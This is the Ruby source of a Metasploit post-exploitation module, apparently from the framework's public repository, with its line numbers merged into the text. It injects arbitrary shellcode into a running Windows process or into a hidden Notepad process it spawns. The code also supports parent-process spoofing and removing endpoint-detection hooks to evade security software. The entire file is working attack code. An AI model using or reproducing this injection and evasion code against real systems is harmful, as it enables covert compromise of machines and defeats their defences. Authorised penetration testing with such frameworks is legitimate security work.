Path: blob/master/modules/post/windows/manage/shellcode_inject.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Common7include Msf::Post::Windows::Process89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Manage Memory Shellcode Injection Module',14'Description' => %q{15This module will inject into the memory of a process a specified shellcode.16},17'License' => MSF_LICENSE,18'Author' => [ 'phra <https://iwantmore.pizza>' ],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24stdapi_sys_config_getenv25stdapi_sys_process_attach26stdapi_sys_process_execute27stdapi_sys_process_thread_create28]29}30},31'Notes' => {32'Stability' => [CRASH_SERVICE_DOWN],33'SideEffects' => [],34'Reliability' => []35}36)37)3839register_options(40[41OptPath.new('SHELLCODE', [true, 'Path to the shellcode to execute']),42OptInt.new('PID', [false, 'Process Identifier of process to inject the shellcode. (0 = new process)', 0]),43OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]),44OptBool.new('CHANNELIZED', [true, 'Retrieve output of the process', false]),45OptBool.new('INTERACTIVE', [true, 'Interact with the process', false]),46OptBool.new('HIDDEN', [true, 'Spawn an hidden process', true]),47OptBool.new('AUTOUNHOOK', [true, 'Auto remove EDRs hooks', false]),48OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5]),49OptEnum.new('BITS', [true, 'Set architecture bits', '64', ['32', '64']])50]51)52end5354def run55hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']56print_status("Running module against #{hostname} (#{session.session_host})")5758# Set variables59shellcode = File.binread(datastore['SHELLCODE'])60pid = datastore['PID']61ppid = datastore['PPID']62bits = datastore['BITS']63if bits == '64'64bits = ARCH_X6465else66bits = ARCH_X8667end6869# prelim check70if (client.arch == ARCH_X86) && (@payload_arch == ARCH_X64)71fail_with(Failure::BadConfig, 'Cannot inject a 64-bit payload into any process on a 32-bit OS')72end7374if (datastore['PPID'] != 0) && (datastore['PID'] != 0)75print_error('PID and PPID are mutually exclusive')76return false77end7879# Start Notepad if Required80if pid == 081if (ppid != 0) && !has_pid?(ppid)82print_error("Process #{ppid} was not found")83return false84elsif ppid != 085print_status("Spoofing PPID #{ppid}")86end8788notepad_pathname = get_notepad_pathname(bits, client.sys.config.getenv('windir'), client.arch)89vprint_status("Starting #{notepad_pathname}")90proc = client.sys.process.execute(notepad_pathname, nil, {91'Hidden' => datastore['HIDDEN'],92'Channelized' => datastore['CHANNELIZED'],93'Interactive' => datastore['INTERACTIVE'],94'ParentPid' => datastore['PPID']95})96print_status("Spawned Notepad process #{proc.pid}")97else98if datastore['CHANNELIZED'] && datastore['PID'] != 099fail_with(Failure::BadConfig, "It's not possible to retrieve output when injecting existing processes!")100elsif datastore['CHANNELIZED'] && datastore['PPID'] != 0101fail_with(Failure::BadConfig, "It's not possible to retrieve output when using PPID spoofing!")102end103unless has_pid?(pid)104print_error("Process #{pid} was not found")105return false106end107begin108proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)109rescue Rex::Post::Meterpreter::RequestError => e110print_error(e.to_s)111fail_with(Failure::NoAccess, "Failed to open pid #{pid.to_i}")112end113print_status("Opening existing process #{proc.pid}")114end115116# Check117if (bits == ARCH_X64) && (client.arch == ARCH_X86)118print_error('You are trying to inject to a x64 process from a x86 version of Meterpreter.')119print_error('Migrate to an x64 process and try again.')120return false121end122if arch_check(bits, proc.pid)123if datastore['AUTOUNHOOK']124print_status('Executing unhook')125print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")126unless inject_unhook(proc, bits, datastore['WAIT_UNHOOK'])127fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign unhook dll')128end129end130begin131inject(shellcode, proc)132rescue StandardError => e133print_error("Failed to inject Payload to #{proc.pid}!")134print_error(e.to_s)135end136else137fail_with(Failure::BadConfig, 'Arch mismatch between shellcode and process!')138end139end140141def inject(shellcode, proc)142mem = inject_into_process(proc, shellcode)143proc.thread.create(mem, 0)144print_good("Successfully injected payload into process: #{proc.pid}")145if datastore['INTERACTIVE'] && datastore['CHANNELIZED'] && datastore['PID'] == 0146print_status('Interacting')147client.console.interact_with_channel(proc.channel)148elsif datastore['CHANNELIZED'] && datastore['PID'] == 0149print_status('Retrieving output')150data = proc.channel.read151print_line(data) if data152end153end154end155156157